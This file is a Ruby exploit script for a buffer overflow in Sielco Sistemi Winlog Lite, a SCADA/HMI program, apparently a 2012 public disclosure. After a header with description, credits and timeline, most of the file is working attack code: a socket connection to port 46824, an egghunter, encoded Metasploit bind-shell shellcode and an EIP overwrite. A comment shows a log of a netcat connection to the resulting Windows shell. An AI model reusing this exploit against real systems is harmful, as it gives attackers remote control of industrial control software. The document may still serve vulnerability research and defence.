#!/usr/bin/ruby # Exploit Title: Sielco Sistemi Winlog Buffer Overflow <= v2.07.14 # Date: 05.06.2012 # Exploit Author: m1k3 # Vendor Homepage: http://www.sielcosistemi.com/en/download/public/winlog_lite.html # Software Link: http://www.sielcosistemi.com/en/download/public/winlog_lite.html # Version: 2.07.14 # Tested on: Windows XP SP2 #--------------------------------------------- # # Sielco Sistemi Winlog Buffer Overflow <= v2.07.14 # - Buffer overflow vulnerability # Date: 05.06.2012 # # --------------------------------------------- # # - Description # Winlog Lite is the entry level version of the SCADA/HMI software Winlog Pro offered by Sielco Sistemi to allow an evaluation of the potentiality and the simplicity of use of the package; Winlog Lite is also a powerful and low cost solution for creation of small supervisory applications. # Winlog Lite makes available most of development tools and functions provided by the Winlog Pro software package, but limits the possibility to develop and to run applications up to a max of 24 tags. Winlog Lite does not include Symbol Factory library and web support. # Source: http://www.sielcosistemi.com/en/download/public/winlog_lite.html # # - buffer overflow vulnerability # # The vulnerability can be triggered by sending a specially crafted request to port 46824. # # - Solution # # No known solution available. Filter access to port 46824. # # - Credits # # The vulnerability was discovered by m1k3 (@s3cur1ty_de) # - devnull#at#s3cur1ty#dot#de # - http://www.s3cur1ty.de # # Thx to @corelanc0d3r and @offsectraining for their great work :) # # - Timeline # # 04.06.2012 - Vulnerability discovered # 05.06.2012 - Public disclosure # # - Reference # # Download vulnerable software: http://www.sielcosistemi.com/en/download/public/winlog_lite.html # Offensive Security Training: http://www.offensive-security.com/ # Corelan Training: https://www.corelan-training.com/ # - Exploit: #root@bt:~/msf-scripts# ruby runtime-exploit-01.rb #placing the shellcode #sleeping ... #kicking ... #buffer length: 261 #root@bt:~/msf-scripts# netcat -v 10.8.28.37 4444 #10.8.28.37: inverse host lookup failed: Unknown server error : Connection timed out #(UNKNOWN) [10.8.28.37] 4444 (?) open #Microsoft Windows XP [Version 5.1.2600] #(C) Copyright 1985-2001 Microsoft Corp. # #C:\Documents and Settings\All Users\Application Data\Winlog Lite\Projects\Ceramics Kiln\Template> # # Important: # -> the reliability of your exploit depends on that path ... # if you choose another default project or you start another project this path ist not reliable anymore # you can choose the default project on the installation. I have used Ceramics Kiln require 'socket' port = "46824" host = "10.8.28.37" s = TCPSocket.open(host,port) sleep(0.5) egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter << "\xef\xb8\x77\x6f\x6f\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # msfpayload windows/shell_bind_tcp R | msfencode -t ruby #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) shellcode = "\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x45\x76\x08\xf1\x33\xc9" + "\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x51\x94\xfd\x0d" + "\xb1\xd1\xfe\xed\x41\x82\x77\x08\x70\x90\xec\x58\x20\x24" + "\x66\x0c\xc8\xcf\x2a\xa5\x5b\xbd\xe2\xca\xec\x08\xd5\xe5" + "\xed\xbc\xd9\xaa\x2d\xde\xa5\xb0\x61\x00\x97\x7a\x74\x41" + "\xd0\x67\x76\x13\x89\xec\x24\x84\xbe\xb1\xf4\xa5\x10\xbe" + "\x44\xde\x15\x01\x30\x54\x17\x52\xe8\xe3\x5f\x4a\x83\xac" + "\x7f\x6b\x40\xaf\xbc\x22\xed\x04\x36\xb5\x27\x55\xb7\x87" + "\x07\x3a\x86\x27\x8a\x42\xce\x80\x74\x31\x24\xf3\x09\x42" + "\xff\x89\xd5\xc7\xe2\x2a\x9e\x70\xc7\xcb\x73\xe6\x8c\xc0" + "\x38\x6c\xca\xc4\xbf\xa1\x60\xf0\x34\x44\xa7\x70\x0e\x63" + "\x63\xd8\xd5\x0a\x32\x84\xb8\x33\x24\x60\x65\x96\x2e\x83" + "\x72\xa0\x6c\xcc\xb7\x9f\x8e\x0c\xdf\xa8\xfd\x3e\x40\x03" + "\x6a\x73\x09\x8d\x6d\x74\x20\x69\xe1\x8b\xca\x8a\x2b\x48" + "\x9e\xda\x43\x79\x9e\xb0\x93\x86\x4b\x16\xc4\x28\x23\xd7" + "\xb4\x88\x93\xbf\xde\x06\xcc\xa0\xe0\xcc\x7b\xe7\x2e\x34" + "\x28\x80\x52\xca\xdf\x0c\xda\x2c\xb5\xbc\x8a\xe7\x21\x7f" + "\xe9\x3f\xd6\x80\xdb\x13\x4f\x17\x53\x7a\x57\x18\x64\xa8" + "\xf4\xb5\xcc\x3b\x8e\xd5\xc8\x5a\x91\xf3\x78\x14\xaa\x94" + "\xf3\x48\x79\x04\x03\x41\xe9\xa5\x96\x0e\xe9\xa0\x8a\x98" + "\xbe\xe5\x7d\xd1\x2a\x18\x27\x4b\x48\xe1\xb1\xb4\xc8\x3e" + "\x02\x3a\xd1\xb3\x3e\x18\xc1\x0d\xbe\x24\xb5\xc1\xe9\xf2" + "\x63\xa4\x43\xb5\xdd\x7e\x3f\x1f\x89\x07\x73\xa0\xcf\x07" + "\x5e\x56\x2f\xb9\x37\x2f\x50\x76\xd0\xa7\x29\x6a\x40\x47" + "\xe0\x2e\x70\x02\xa8\x07\x19\xcb\x39\x1a\x44\xec\x94\x59" + "\x71\x6f\x1c\x22\x86\x6f\x55\x27\xc2\x37\x86\x55\x5b\xd2" + "\xa8\xca\x5c\xf7" puts "placing the shellcode" buffer = "\x41" * 2000 buffer << "wootwoot" #egg buffer << "\x90" buffer << shellcode buffer << "\x90" * 2000 print "buffer length: #{buffer.length}\r\n" s.puts(buffer) puts "sleeping ..." sleep(5) puts "kicking ..." buffer = "\x41" * 20 + "\x14" * 10 + "\x41" * 167 buffer << "\xdf\x53\x51\x40" #EIP -> Jmp ESP - Vclx40.bpl - 0x405153df buffer << "\x90" buffer << egghunter buffer << "\x90" * (59 - egghunter.length) print "buffer length: #{buffer.length}\r\n" s.puts(buffer)